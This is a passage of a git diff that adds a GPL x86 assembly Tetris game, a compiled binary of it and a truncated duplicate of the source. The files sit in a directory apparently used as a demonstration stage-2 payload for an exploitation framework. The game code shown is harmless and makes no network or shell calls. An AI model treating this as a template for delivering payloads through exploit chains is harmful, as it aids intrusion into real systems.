scoretetris=1000 +SYMS += -defsym speedup=10 + +$(NAME): $(NAME).o + ld -s -o $@ -m elf_i386 $^ -e $(ENTRY) + +$(NAME).o: $(NAME).s + as -o $@ $^ $(SYMS) + +clean: + rm -f $(NAME).o $(NAME) diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/tetris b/src/payload_modules/defcon_demo/stage2/payload_src/tetris new file mode 100755 index 0000000000000000000000000000000000000000..1e8e517f6d9066934ed2f4bd83575a226ec2a148 GIT binary patch literal 3024 zcmbtWeM}Q)7=N$rl~QO5(=tAEUNVT&xvr;dA=*VYVVQ#&Hz5Pj7?8e7K$z`SC1F_+ z(6&ssEX$T{e@yU?{oy|Rm>Ct89n_)DnN((?8HrP)$;&V%lZc|M-Sgb_ioq~7UUGNO z$M2r^d7pbe-VcgPU*|ZEXqS%Y3369=8BF=`zGPN4`9vT(@*FV|UePO3pTR`n{v(+X zym=I+5k-Fv_;X(vOn6@f@uy(a7}s~zd}S~N!gaERW)XhFSfjI_nZ*nHQJkAp(C@w& z7UhEmarg*##)qU{91it-X)vkW%i=H+L!!K|7liGyl-%nFq9iywQ)fE{ROCtpjUE07 zsMsaiX=?+*H(&rfQjT%oU2BW(uodi^tv_674G(}+JQeNtIkOy6rf%HGW@4Xq73kJNWY2d6cYLL=t|KBEBKU7OO+bU3xCev0P38tt0BPQB)6zC)7 z@iG4ZIn(cHsw1#jakq;+NC@@WNUjisF^Jmi-~e@ZXf7E z=qT-+oePT_Y3mieUPY4#t(VPI&v&369pfVYIU3UN$VlBIAlE(|!vfJ*ENDTG=?NaU zLkJM)oQ@3gyHOBkP5{xjX=hok?!oPJ&P6mCV;)Ew+L@ZG;ihdSfh(DYo3@n%?pY02 zNvG{30m1YgWJaq^P^Ca#3FaVH8c(xQk*|3YKeMZG{ zEP`B~$}M06z?BEC?I}MV;>zI9p9a3|t%w-~dK4T3!Fp(_9JWz*6gW}tRXWSVyGk%s z@0)N~J9a}(#T(JIihQ6Esh@Z&;_zvOITL(=0{{OOr&^|K!{Tsot}+RRB};15}DGnHP6Ui;N zV8BIXr?urW&cXU&YkUsMgN95I6y}z3Ru5Hq$jC~;R5u2geFE7RJ;j!x00%87Uj*79 zc4N0^-$OB4J8Ix72x#|-qTD+;@!>uBaYRq{tjoP4o;u?z7v;dU*6Wj?vK}b*?J4%{ zUx!hU5AMa0-)T{}A#wbd)gV6O3tV3hEvh(P@L`BkR2d>c3r^7j3l0?T-uPfSaCL&3Ds_Q({`cW)$BppmZoj4H5;4UuBAe0U8BphR4A%$taCNY_XuS!$zA6WgmRC| zEx2~nNs_D9T-pSjIj*W}6qeL45^9=-+8VFhUFh9p-{`S>J7FA;*5-9E-Q=UvW;mrV|JO*#${%6wq1mLM(m!=9?30L*ATnp+9479rY6b$UIP%d z)lxOF*LXbY%8&L;0T}v?(^7&ntpx84aE8?`L!3y5x3)j5wVwE%H5}^j%7zD literal 0 HcmV?d00001 diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/tetris.s b/src/payload_modules/defcon_demo/stage2/payload_src/tetris.s new file mode 100644 index 0000000..90c037c --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/payload_src/tetris.s @@ -0,0 +1,775 @@ +#Tetris in x86 assembly +#Copyright 2000,2001 dburr@ug.cs.usyd.edu.au, under the terms of the GPL +# +#Notes: +#Uses VT100 terminal codes to position the cursor and to draw coloured text. +#I also assume that this requires a > 2.0 Linux kernel which supports +#sys_newselect (also uses sys_write, sys_read, sys_nanosleep, sys_exit, +#sys_times and sys_ioctl). I have only tested it with 2.0.x, 2.2.x and 2.4.x +#kernels. I'm pretty sure that this will work with 386+ processors. +# +#Example Makefile: +#--start-- +#NAME = tetris +#ENTRY = _tetris +# +#SYMS = -defsym instructionsX=12 +#SYMS += -defsym instructionsY=19 +#SYMS += -defsym width=10 +#SYMS += -defsym xoffset=3 +#SYMS += -defsym height=16 +#SYMS += -defsym yoffset=2 +#SYMS += -defsym wait=50 +#SYMS += -defsym scoredrop=2 +#SYMS += -defsym scorelockin=3 +#SYMS += -defsym scoreline=100 +#SYMS += -defsym scoretetris=1000 +#SYMS += -defsym speedup=10 +# +#$(NAME): $(NAME).o +# ld -s -o $@ -m elf_i386 $^ -e $(ENTRY) +# +#$(NAME).o: $(NAME).s +# as -o $@ $^ $(SYMS) +# +#clean: +# rm -f $(NAME).o $(NAME) +#--end-- +#Explanation of the symbols which can be changed to suit personal taste: +#instructionsX, instructionsY: The offset of the instructions from the +#top, left hand corner of the screen. +#width, height: The dimensions of the playing area +#xoffset, yoffset: The offset of the playing area from the top, left hand +#corner of the screen. +#wait: Controls the speed of the game. Lower number equals faster play. +#scoredrop: Number of points scored for 'dropping' a piece (with spacebar). +#scorelockin: Number of points scored for 'locking' a piece in. +#scoreline: Number of points scored for eliminating a line (for 1-3 lines) +#scoretetris: Number of points scored for a 'tetris' (ie eliminating 4 lines +#at once). +#speedup: The game will get twice as fast for every n lines. + +.macro sys_newselect + xor %eax, %eax #smaller than writing to %eax directly + mov $142, %al #new sys_select + xor %ebx, %ebx + mov $1, %bl + mov selectargs+4, %ecx + xor %edx,%edx + xor %esi,%esi + mov $timeout,%edi + int $0x80 +.endm + +.macro sys_nanosleep length + xor %eax, %eax + mov $162, %al #sys_nanosleep + movl $0,-8(%esp) #seconds + movl \length,-4(%esp) #nanoseconds + lea -8(%esp),%ebx + xor %ecx, %ecx + int $0x80 +.endm + +.macro sys_exit + xor %eax, %eax + mov $1, %al #sys_exit + xor %ebx,%ebx #with 0 status + int $0x80 +.endm + +.macro sys_times + xor %eax, %eax + mov $43, %al #sys_times + xor %ebx,%ebx #NULL + int $0x80 +.endm + +.macro getterm + push %ebp + mov %esp,%ebp + lea -60(%ebp),%edx + mov $0x5401, %ecx #TCGETS + call sys_ioctl +.endm + +.macro setterm + leal -60(%ebp),%edx + mov $0x5403, %ecx #TCSETSW + call sys_ioctl + pop %ebp +.endm + +#Write the chars equivalent to 'source' into vt100_position +.macro twodigits source first second + mov \source, %ax + inc %ax + movb $10, %bl + divb %bl + add $0x30,%al + movb %al, vt100_position+\first + add $0x30, %ah + movb %ah, vt100_position+\second +.endm + +#Named in honour of the ncurses function +.macro mvaddstr y x string length + twodigits \y, 2, 3 + twodigits \x, 5, 6 + mov $vt100_position, %ecx + xor %edx, %edx + mov $8, %dl + call sys_write + mov \string, %ecx + xor %edx, %edx + mov \length, %dl + call sys_write +.endm + +#Mask of the bits for the n'th block +.macro bitMask n + .if 4-\n + shr $8-2*\n, %dx + .endif + and $0x303, %dx #Lower two bits of each + mov yposition, %ax + add %dl, %al +.endm + +#Put the y location of the n'th block in %ax, x location in %bx +.macro screenoffset n + bitMask \n + mov xposition, %bx + add %dh, %bl +.endm + +#Make %bx the offset of the n'th block from the start of the screen array +#where %dx is the piece in question +.macro pieceoffset n + bitMask \n + imul $width, %ax + add xposition, %ax + shr $8, %dx + add %dx, %ax +.endm + +#Make real use of gas macros +.macro storeLoop from=1, to=4 + .if 4-\from + movw (%esp), %dx + .else + pop %dx + .endif + pieceoffset \from + movb %bl, (%eax,%ecx) + .if \to-\from + storeLoop "(\from+1)", \to + .endif +.endm + +.macro collisionLoop from=1, to=4 + .if 1-\from + movw (%esp), %dx + .endif + pieceoffset \from + movb (%ebx,%eax), %cl + cmpb $0x30, %cl + .if 4-\from + jnz collisionTest_over + .endif + .if \to-\from + collisionLoop "(\from+1)", \to + .endif +.endm + +.macro drawLoop from=1, to=4 + .if 1-\from + movw (%esp), %cx + .endif + .if 4-\from + mov 2(%esp), %dx + .else + pop %cx + pop %dx + .endif + screenoffset \from + call drawblock + .if \to-\from + drawLoop "(\from+1)", \to + .endif +.endm + +.data + +quitstring: + .ascii "'q' to quit, arrow keys to move" + +scorestring: + .ascii "Score: " + +linestring: + .ascii "Lines: " + +namestring: + .ascii "Daniel's Tetris" + +blankstring: + .ascii " " + +exitstring: + .ascii "User exitted" + +newline: + .ascii "\n" #Also used after the previous string + +loserstring: + .ascii "Loser\n" + +creditstring: + .ascii "Tetris in 3k, by dburr@ug.cs.usyd.edu.au\n" + +score: + .hword 0 + +timeout: + .long 0 + .long 1 #1 millisecond wait which checking stdin + +selectargs: + .long 1 #Max is 0, +1 = 1 + .long -1 #Overwrite with stack pointer + .long 0 #No write + .long 0 #No except + .long timeout + +vt100_position: + .byte 0x1b + .ascii "[12;13H" + +vt100_colour: #The proper english way of spelling the word! + .byte 0x1b + .ascii "[44m" + +vt100_clear: + .byte 0x1b + .ascii "[2J" + +vt100_cursor: + .byte 0x1b + .ascii "[?25l" + +yposition: + .hword 0 + +xposition: + .hword 2 + +sleepcount: + .byte 0 + +shapeStarts: + .byte 2, 3, 5, 7, 11, 15, 19 + +shapeIndex: #This data contains the positions of the blocks in each shape +#Each requires 16 bits: x1<<14|x2<<12|x3<<10|x4<<8|y1<<6|y2<<4|y3<<2|y4 + .hword 0b0000010100010110 #0<<14|0<<12|1<<10|1<<8|0<<6|1<<4|1<<2|2 + .hword 0b0100100100010001 #1<<14|0<<12|2<<10|1<<8|0<<6|1<<4|0<<2|1 + .hword 0b0000010100010100 #0<<14|0<<12|1<<10|1<<8|0<<6|1<<4|1<<2|0 + .hword 0b0000000000011011 #0<<14|0<<12|0<<10|0<<8|0<<6|1<<4|2<<2|3 + .hword 0b0001101100000000 #0<<14|1<<12|2<<10|3<<8|0<<6|0<<4|0<<2|0 + .hword 0b0001011000000101 #0<<14|1<<12|1<<10|2<<8|0<<6|0<<4|1<<2|1 + .hword 0b0100010000010110 #1<<14|0<<12|1<<10|0<<8|0<<6|1<<4|1<<2|2 + .hword 0b0001011001000101 #0<<14|1<<12|1<<10|2<<8|1<<6|0<<4|1<<2|1 + .hword 0b0100010100010110 #1<<14|0<<12|1<<10|1<<8|0<<6|1<<4|1<<2|2 + .hword 0b0001100100000001 #0<<14|1<<12|2<<10|1<<8|0<<6|0<<4|0<<2|1 + .hword 0b0000000100011001 #0<<14|0<<12|0<<10|1<<8|0<<6|1<<4|2<<2|1 + .hword 0b0001101000000001 #0<<14|1<<12|2<<10|2<<8|0<<6|0<<4|0<<2|1 + .hword 0b0001000000000110 #0<<14|1<<12|0<<10|0<<8|0<<6|0<<4|1<<2|2 + .hword 0b0000011000010101 #0<<14|0<<12|1<<10|2<<8|0<<6|1<<4|1<<2|1 + .hword 0b0101010000011010 #1<<14|1<<12|1<<10|0<<8|0<<6|1<<4|2<<2|2 + .hword 0b0001010100000110 #0<<14|1<<12|1<<10|1<<8|0<<6|0<<4|1<<2|2 + .hword 0b0001100000000001 #0<<14|1<<12|2<<10|0<<8|0<<6|0<<4|0<<2|1 + .hword 0b0000000100011010 #0<<14|0<<12|0<<10|1<<8|0<<6|1<<4|2<<2|2 + .hword 0b1000011000010101 #2<<14|0<<12|1<<10|2<<8|0<<6|1<<4|1<<2|1 + +linesgone: + .hword 0 #number of lines eliminated so far in the game + +currentwait: + .byte wait #gets smaller as the game gets faster + +.bss + +buffer: + .byte 0, 0 #for arrow keys we read two + +rotation: + .byte 0 #overwrite with a random rotation + +blockType: + .byte 0 #overwrite with a random block type + +currentcolour: + .byte 0 #overwrite with random colour + +stringbuffer: + .fill 5 + +screen: + .fill width * height + +lastrand: + .long 0 + +.globl _tetris +.text + +#Return a 4-bit number in %al that is no greater than %cl +rand: + movl lastrand, %eax + mov %eax, %ebx + imul $1664525, %eax; + add $1013904223, %eax + shr $10, %eax + xor %ebx, %eax + movl %eax, lastrand + andb $0x7, %al + cmp %al, %cl + jb rand + ret + +#Requires the string to write in %ecx, length in %edx +sys_write: + xor %eax, %eax + mov $4, %al #sys_write + xor %ebx, %ebx + mov $1, %bl #stdout + int $0x80 + ret + +#Requires the length to read in %edx +sys_read: + xor %eax, %eax + mov $3, %al #sys_read + xor %ebx, %ebx #fd stdin + mov $buffer, %ecx #buffer + int $0x80 + ret + +#Requires the number of the call in %ecx +sys_ioctl: + xor %eax, %eax + mov $54, %al #sys_ioctl + xor %ebx, %ebx + int $0x80 + ret + +#Take the current entry from the shapeIndex and push it on the stack +coords: + xor %edx, %edx + xor %eax, %eax + mov blockType, %al + test %al, %al + jz coords_noIndex + mov $shapeStarts, %ebx + dec %ebx + mov (%eax, %ebx), %dl +coords_noIndex: + add rotation, %dl + shl $1, %dl #because each entry is 2 bytes + pop %eax + pushw shapeIndex(%edx) + jmp *%eax + +#There are 4 squares in the current piece. Test the lines which these +#occupy to see if they are part of a complete line. If so, remove, redraw +#Also adds to the score and speeds the game up if necessary +elimline: + mov yposition, %dx + add $4, %dl + xor %eax, %eax + mov yposition, %al #%al contains the ypositions to test + xor %dh, %dh #number of lines eliminated + cmpb $height-1, %dl + jl elimline_skip + mov $height-1, %dl #%dl contains one more than the last value to test +elimline_skip: + xor %ebx, %ebx + mov $width, %bl + imul %eax, %ebx + add $screen, %ebx #ebx contains the start of the line + xor %ecx, %ecx +elimline_test: + inc %cl #%ecx contains the x position to test + cmpb $0x30, (%ecx, %ebx) #test this for each position in line + je elimline_linedone #ie: don't eliminate this line + cmpb $width-2, %cl + jne elimline_test + inc %dh + add $width, %ebx +elimline_loop: + dec %ebx + movb -width(%ebx), %cl + movb %cl, (%ebx) + cmp $screen+width, %ebx + jne elimline_loop +elimline_linedone: + inc %al + cmp %al, %dl + jne elimline_skip + mov %dx, %cx #for testing linesgone later + cmpb $4, %dh + je elimline_tetris + shr $8, %dx + + imul $scoreline, %dx + addw %dx, score + jmp elimline_finished +elimline_tetris: + addw $scoretetris, score +elimline_finished: + shr $8, %cx + movw linesgone, %ax + mov $speedup, %bl + div %bl + mov %al, %dl + addw %cx, linesgone + movw linesgone, %ax + div %bl + cmp %al, %dl + je elimline_samespeed + shrb $1, currentwait +elimline_samespeed: + call redraw + ret + +#Write the block into the screen array at xposition,yposition +storePiece: + addw $scorelockin, score + decw yposition + mov yposition, %ax + test %ax, %ax + jz gameover + + call coords + xor %eax, %eax + mov currentcolour, %bl + mov $screen, %ecx + storeLoop + + call elimline + mov currentcolour, %cl + movw $0, yposition + movw $2, xposition + movb $0, sleepcount + ret + +#Draw the current blockType at xposition,yposition (offset from xoffset, +#yoffset). Will be coloured depending on %cl. Update score +drawShape: + call coords + push %cx + drawLoop + movb $0x30, vt100_colour+3 + mov $vt100_colour, %ecx + xor %edx, %edx + mov $5, %dl + call sys_write + mvaddstr $instructionsY+2, $instructionsX, $scorestring, $7 + mov score, %ax + call numbertostring + call sys_write + mvaddstr $instructionsY+3, $instructionsX, $linestring, $7 + mov linesgone, %ax + call numbertostring + call sys_write + ret + +#Return the string location in %ecx, length in %edx, requires number in %ax +numbertostring: + mov $10, %bx + mov $stringbuffer+5, %ecx +numbertostring_loop: + dec %ecx + xor %dx,%dx + div %bx + add $0x30, %dx + movb %dl, (%ecx) + test %ax,%ax + jnz numbertostring_loop + mov %ecx,%ebx + sub $stringbuffer, %ebx + xor %edx, %edx + mov $5, %dl + sub %ebx, %edx + ret + +#Requires the y coord in %ax, x coord in %bx, val to colour in %cl +drawblock: + add $xoffset,%bx + add $yoffset,%ax + push %ax + push %bx + movb %cl, vt100_colour+3 + mov $vt100_colour, %ecx + xor %edx, %edx + mov $5, %dl + call sys_write + pop %cx + pop %ax + shl $1, %cx + mvaddstr %ax, %cx, $blankstring, $2 + ret + +#Redraw the playing area (doesn't update score) +redraw: + xor %ax, %ax #y +redraw_outer: + xor %ebx, %ebx #x +redraw_inner: + push %ebx + push %ax + + xor %ecx, %ecx + mov $width, %cl + imul %eax, %ecx + mov screen(%ebx, %ecx), %cx + + call drawblock + + pop %ax + pop %ebx + + inc %bl + cmpb $width, %bl + jl redraw_inner + inc %ax + cmpb $height, %al + jl redraw_outer + ret + +gameover: + mov currentcolour, %cl + call drawShape + movw $0x3030, vt100_colour+2 + mov $vt100_colour, %ecx + xor %edx, %edx + mov $5, %dl + call sys_write + movb $'h',vt100_cursor+5 + mov $vt100_cursor, %ecx + xor %edx, %edx + mov $6, %dl + call sys_write + cmpb $'q',buffer + jne gameover_loser + mvaddstr $instructionsY+4, $0, $exitstring, $13 + jmp gameover_quit +gameover_loser: + mvaddstr $instructionsY+4, $0, $loserstring, $6 +gameover_quit: + mov $scorestring, %ecx + xor %edx, %edx + mov $7, %dl + call sys_write + mov score, %ax + call numbertostring + call sys_write + mov $newline, %ecx + xor %edx, %edx + mov $1, %dl + call sys_write + mov $creditstring, %ecx + xor %edx, %edx + mov $41, %dl + call sys_write + getterm + or $10,-48(%ebp) #c_lflag |= (ICANON|ECHO) + setterm + sys_exit + +#Test the shape for any collision. If collision, then the zero flag will +#NOT be set +collisionTest: + call coords + xor %eax, %eax + mov $screen, %ebx + collisionLoop +collisionTest_over: + pop %dx + ret + +#Writes the number of rotations of blockType into %cl +numberrots: + xor %ebx, %ebx + mov blockType, %bl + test %bl,%bl + jz numberrots_zeroshape + add $shapeStarts, %ebx + mov (%ebx), %cl + sub -1(%ebx), %cl + jmp numberrots_done +numberrots_zeroshape: + mov shapeStarts, %cl +numberrots_done: + ret + +_tetris: + getterm + andb $245,-48(%ebp) #c_lflags &= ~(ICANON|ECHO) + setterm + + sys_times + mov %eax, lastrand #seed the randomizer + + mov $vt100_clear, %ecx + xor %edx, %edx + mov $4, %dl + call sys_write + mov $vt100_cursor, %ecx + xor %edx, %edx + mov $6, %dl + call sys_write + mov $vt100_colour, %ecx + xor %edx, %edx + mov $5, %dl + call sys_write + mvaddstr $instructionsY, $instructionsX, $namestring, $15 + mvaddstr $instructionsY+1, $instructionsX, $quitstring, $31 + + xor %al,%al + mov $screen,%ebx +tetris_yloop: + movb $0x31, (%ebx) #red for the playing arena + movb $0x31, width-1(%ebx) + xor %ecx, %ecx + mov $1,%cl +tetris_yloop_inner: + movb $0x30,(%ebx,%ecx) #init to black + inc %cl + cmpb $width-1,%cl + jl tetris_yloop_inner + + add $width,%ebx + inc %al + cmpb $height-1,%al + jl tetris_yloop + + xor %ebx, %ebx + mov $width,%bl + imul $height-1,%ebx + add $screen,%ebx + xor %eax,%eax +tetris_xloop: + movb $0x31,(%eax,%ebx) + inc %al + cmpb $width,%al + jl tetris_xloop + + call redraw + +playgame: + mov $6, %cl #7 shapes + call rand + movb %al, blockType + call numberrots + dec %cl + call rand + movb %al, rotation + mov $6, %cl + call rand + add $0x31, %al + mov %al, currentcolour + call collisionTest + jnz gameover + +playgame_keyloop: + sys_nanosleep $250000 + push %ebp + xor %eax,%eax + mov %esp,%ebp + sub $252,%esp + bts %eax,-128(%ebp) + lea -128(%ebp),%eax + mov %eax,selectargs+4 + sys_newselect + movl %ebp,%esp + pop %ebp + + test %eax,%eax + jnz playgame_checkkey +playgame_keychecked: + movb currentcolour, %cl + call drawShape + incb sleepcount + movb currentwait, %cl + cmpb %cl,sleepcount + jne playgame_keyloop + movb $0,sleepcount + mov $0x30, %cl #black to overwrite + call drawShape + incw yposition + call collisionTest + jz playgame_keychecked + call storePiece + jmp playgame +playgame_checkkey: + mov $0x30, %cl + call drawShape + xor %edx, %edx + mov $1, %dl + call sys_read + cmpb $'q',buffer + je gameover + cmpb $' ',buffer + jne playgame_checkarrow +playgame_droploop: + incw yposition + call collisionTest + jz playgame_droploop + call storePiece + addw $scoredrop, score + jmp playgame +playgame_checkarrow: + cmpb $0x1b,buffer #check for arrow key + jne playgame_keychecked + xor %edx, %edx + mov $2, %dl + call sys_read +#use a jump table later + movb buffer+1,%al + cmpb $'D',%al #Left arrow + jne playgame_nextkey + decw xposition + call collisionTest + jz playgame_nextkey + incw xposition +playgame_nextkey: + cmpb $'C',%al #Right Arrow + jne playgame_nextkey2 + incw xposition + call collisionTest + jz playgame_nextkey2 + decw xposition +playgame_nextkey2: + cmpb $'B',%al #Down Arrow + jne playgame_nextkey3 + incw yposition + call collisionTest + jz playgame_nextkey3 + decw yposition +playgame_nextkey3: + cmpb $'A',%al #Up Arrow + jne playgame_keychecked + xor %ah, %ah + mov rotation, %al + push %ax + inc %ax + call numberrots + divb %cl + movb %ah, rotation + call collisionTest + jz playgame_keychecked + pop %cx + mov %cl, rotation + jmp playgame_keychecked diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/tetrisnew.s b/src/payload_modules/defcon_demo/stage2/payload_src/tetrisnew.s new file mode 100644 index 0000000..90c037c --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/payload_src/tetrisnew.s @@ -0,0 +1,775 @@ +#Tetris in x86 assembly +#Copyright 2000,2001 dburr@ug.cs.usyd.edu.au, under the terms of the GPL +# +#Notes: +#Uses VT100 terminal codes to position the cursor and to draw coloured text. +#I also assume that this requires a > 2.0 Linux kernel which supports +#sys_newselect (also uses sys_write, sys_read, sys_nanosleep, sys_exit, +#sys_times and sys_ioctl). I have only tested it with 2.0.x, 2.2.x and 2.4.x +#kernels. I'm pretty sure that this will work with 386+ processors. +# +#Example Makefile: +#--start-- +#NAME = tetris +#ENTRY = _tetris +# +#SYMS = -defsym instructionsX=12 +#SYMS += -defsym instructionsY=19 +#SYMS += -defsym width=10 +#SYMS += -defsym xoffset=3 +#SYMS += -defsym height=16 +#SYMS += -defsym yoffset=2 +#SYMS += -defsym wait=50 +#SYMS += -defsym scoredrop=2 +#SYMS += -defsym scorelockin=3 +#SYMS += -defsym scoreline=100 +#SYMS += -defsym scoretetris=1000 +#SYMS += -defsym speedup=10 +# +#$(NAME): $(NAME).o +# ld -s -o $@ -m elf_i386 $^ -e $(ENTRY) +# +#$(NAME).o: $(NAME).s +# as -o $@ $^ $(SYMS) +# +#clean: +# rm -f $(NAME).o $(NAME) +#--end-- +#Explanation of the symbols which can be changed to suit personal taste: +#instructionsX, instructionsY: The offset of the instructions from the +#top, left hand corner of the screen. +#width, height: The dimensions of the playing area +#xoffset, yoffset: The offset of the playing area from the top, left hand +#corner of the screen. +#wait: Controls the speed of the game. Lower number equals faster play. +#scoredrop: Number of points scored for 'dropping' a piece (with spacebar). +#scorelockin: Number of points scored for 'locking' a piece in. +#scoreline: Number of points scored for eliminating a line (for 1-3 lines) +#scoretetris: Number of points scored for a 'tetris' (ie eliminating 4 lines +#at once). +#speedup: The game will get twice as fast for every n lines. + +.macro sys_newselect + xor %eax, %eax #smaller than writing to %eax directly + mov $142, %al #new sys_select + xor %ebx, %ebx + mov $1, %bl + mov selectargs+4, %ecx + xor %edx,%edx + xor %esi,%esi + mov $timeout,%edi + int $0x80 +.endm + +.macro sys_nanosleep length + xor %eax, %eax + mov $162, %al #sys_nanosleep + movl $0,-8(%esp) #seconds + movl \length,-4(%esp) #nanoseconds + lea -8(%esp),%ebx + xor %ecx, %ecx + int $0x80 +.endm + +.macro sys_exit + xor %eax, %eax + mov $1, %al #sys_exit + xor %ebx,%ebx #with 0 status + int $0x80 +.endm + +.macro sys_times + xor %eax, %eax + mov $43, %al #sys_times + xor %ebx,%ebx #NULL + int $0x80 +.endm + +.macro getterm + push %ebp + mov %esp,%ebp + lea -60(%ebp),%edx + mov $0x5401, %ecx #TCGETS + call sys_ioctl +.endm + +.macro setterm + leal -60(%ebp),%edx + mov $0x5403, %ecx #TCSETSW + call sys_ioctl + pop %ebp +.endm + +#Write the chars equivalent to 'source' into vt100_position +.macro twodigits source first second + mov \source, %ax + inc %ax + movb $10, %bl + divb %bl + add $0x30,%al + movb %al, vt100_position+\first + add $0x30, %ah + movb %ah, vt100_position+\second +.endm + +#Named in honour of the ncurses function +.macro mvaddstr y x string length + twodigits \y, 2, 3 + twodigits \x, 5, 6 + mov $vt100_position, %ecx + xor %edx, %edx + mov $8, %dl + call sys_write + mov \string, %ecx + xor %edx, %edx + mov \length, %dl + call sys_write +.endm + +#Mask of the bits for the n'th block +.macro bitMask n + .if 4-\n + shr $8-2*\n, %dx + .endif + and $0x303, %dx #Lower two bits of each + mov yposition, %ax + add %dl, %al +.endm + +#Put the y location of the n'th block in %ax, x location in %bx +.macro screenoffset n + bitMask \n + mov xposition, %bx + add %dh, %bl +.endm + +#Make %bx the offset of the n'th block from the start of the screen array +#where %dx is the piece in question +.macro pieceoffset n + bitMask \n + imul $width, %ax + add xposition, %ax + shr $8, %dx + add %dx, %ax +.endm + +#Make real use of gas macros +.macro storeLoop from=1, to=4 + .if 4-\from + movw (%esp), %dx + .else + pop %dx + .endif + pieceoffset \from + movb %bl, (%eax,%ecx) + .if \to-\from + storeLoop "(\from+1)", \to + .endif +.endm + +.macro collisionLoop from=1, to=4 + .if 1-\from + movw (%esp), %dx + .endif + pieceoffset \from + movb (%ebx,%eax), %cl + cmpb $0x30, %cl + .if 4-\from + jnz collisionTest_over + .endif + .if \to-\from + collisionLoop "(\from+1)", \to + .endif +.endm + +.macro drawLoop from=1, to=4 + .if 1-\from + movw (%esp), %cx + .endif + .if 4-\from + mov 2(%esp), %dx + .else + pop %cx + pop %dx + .endif + screenoffset \from + call drawblock + .if \to-\from + drawLoop "(\from+1)", \to + .endif +.endm + +.data + +quitstring: + .ascii "'q' to quit, arrow keys to move" + +scorestring: + .ascii "Score: " + +linestring: + .ascii "Lines: " + +namestring: + .ascii "Daniel's Tetris" + +blankstring: + .ascii " " + +exitstring: + .ascii "User exitted" + +newline: + .ascii "\n" #Also used after the previous string + +loserstring: + .ascii "Loser\n" + +creditstring: + .ascii "Tetris in 3k, by dburr@ug.cs.usyd.edu.au\n" + +score: + .hword 0 + +timeout: + .long 0 + .long 1 #1 millisecond wait which checking stdin + +selectargs: + .long 1 #Max is 0, +1 = 1 + .long -1 #Overwrite with stack pointer + .long 0 #No write + .long 0 #No except + .long timeout + +vt100_position: + .byte 0x1b + .ascii "[12;13H" + +vt100_colour: #The proper english way of spelling the word! + .byte 0x1b + .ascii "[44m" + +vt100_clear: + .byte 0x1b + .ascii "[2J" + +vt100_cursor: + .byte 0x1b + .ascii "[?25l" + +yposition: + .hword 0 + +xposition: + .hword 2 + +sleepcount: + .byte 0 + +shapeStarts: + .byte 2, 3, 5, 7, 11, 15, 19 + +shapeIndex: #This data contains the positions of the blocks in each shape +#Each requires 16 bits: x1<<14|x2<<12|x3<<10|x4<<8|y1<<6|y2<<4|y3<<2|y4 + .hword 0b0000010100010110 #0<<14|0<<12|1<<10|1<<8|0<<6|1<<4|1<<2|2 + .hword 0b0100100100010001 #1<<14|0<<12|2<<10|1<<8|0<<6|1<<4|0<<2|1 + .hword 0b0000010100010100 #0<<14|0<<12|1<<10|1<<8|0<<6|1<<4|1<<2|0 + .hword 0b0000000000011011 #0<<14|0<<12|0<<10|0<<8|0<<6|1<<4|2<<2|3 + .hword 0b0001101100000000 #0<<14|1<<12|2<<10|3<<8|0<<6|0<<4|0<<2|0 + .hword 0b0001011000000101 #0<<14|1<<12|1<<10|2<<8|0<<6|0<<4|1<<2|1 + .hword 0b0100010000010110 #1<<14|0<<12|1<<10|0<<8|0<<6|1<<4|1<<2|2 + .hword 0b0001011001000101 #0<<14|1<<12|1<<10|2<<8|1<<6|0<<4|1<<2|1 + .hword 0b0100010100010110 #1<<14|0<<12|1<<10|1<<8|0<<6|1<<4|1<<2|2 + .hword 0b0001100100000001 #0<<14|1<<12|2<<10|1<<8|0<<6|0<<4|0<<2|1 + .hword 0b0000000100011001 #0<<14|0<<12|0<<10|1<<8|0<<6|1<<4|2<<2|1 + .hword 0b0001101000000001 #0<<14|1<<12|2<<10|2<<8|0<<6|0<<4|0<<2|1 + .hword 0b0001000000000110 #0<<14|1<<12|0<<10|0<<8|0<<6|0<<4|1<<2|2 + .hword 0b0000011000010101 #0<<14|0<<12|1<<10|2<<8|0<<6|1<<4|1<<2|1 + .hword 0b0101010000011010 #1<<14|1<<12|1<<10|0<<8|0<<6|1<<4|2<<2|2 + .hword 0b0001010100000110 #0<<14|1<<12|1<<10|1<<8|0<<6|0<<4|1<<2|2 + .hword 0b0001100000000001 #0<<14|1<<12|2<<10|0<<8|0<<6|0<<4|0<<2|1 + .hword 0b0000000100011010 #0<<14|0<<12|0<<10|1<<8|0<<6|1<<4|2<<2|2 + .hword 0b1000011000010101 #2<<14|0<<12|1<<10|2<<8|0<<6|1<<4|1<<2|1 + +linesgone: + .hword 0 #number of lines eliminated so far in the game + +currentwait: + .byte wait #gets smaller as the game gets faster + +.bss + +buffer: + .byte 0, 0 #for arrow keys we read two + +rotation: + .byte 0 #overwrite with a random rotation + +blockType: + .byte 0 #overwrite with a random block type + +currentcolour: + .byte 0 #overwrite with random colour + +stringbuffer: + .fill 5 + +screen: + .fill width * height + +lastrand: + .long 0 + +.globl _tetris +.text + +#Return a 4-bit number in %al that is no greater than %cl +rand: + movl lastrand, %eax + mov %eax, %ebx + imul $1664525, %eax; + add $1013904223, %eax + shr $10, %eax + xor %ebx, %eax + movl %eax, lastrand + andb $0x7, %al + cmp %al, %cl + jb rand + ret + +#Requires the string to write in %ecx, length in %edx +sys_write: + xor %eax, %eax + mov $4, %al #sys_write + xor %ebx, %ebx + mov $1, %bl #stdout + int $0x80 + ret + +#Requires the length to read in %edx +sys_read: + xor %eax, %eax + mov $3, %al #sys_read + xor %ebx, %ebx #fd stdin + mov $buffer, %ecx #buffer + int $0x80 + ret + +#Requires the number of the call in %ecx +sys_ioctl: + xor %eax, %eax + mov $54, %al #sys_ioctl + xor %ebx, %ebx + int $0x80 + ret + +#Take the current entry from the shapeIndex and push it on the stack +coords: + xor %edx, %edx + xor %eax, %eax + mov blockType, %al + test %al, %al + jz coords_noIndex + mov $shapeStarts, %ebx + dec %ebx + mov (%eax, %ebx), %dl +coords_noIndex: + add rotation, %dl + shl $1, %dl #because each entry is 2 bytes + pop %eax + pushw shapeIndex(%edx) + jmp *%eax + +#There are 4 squares in the current piece. Test the lines which these +#occupy to see if they are part of a complete line. If so, remove, redraw +#Also adds to the score and speeds the game up if necessary +elimline: + mov yposition, %dx + add $4, %dl + xor %eax, %eax + 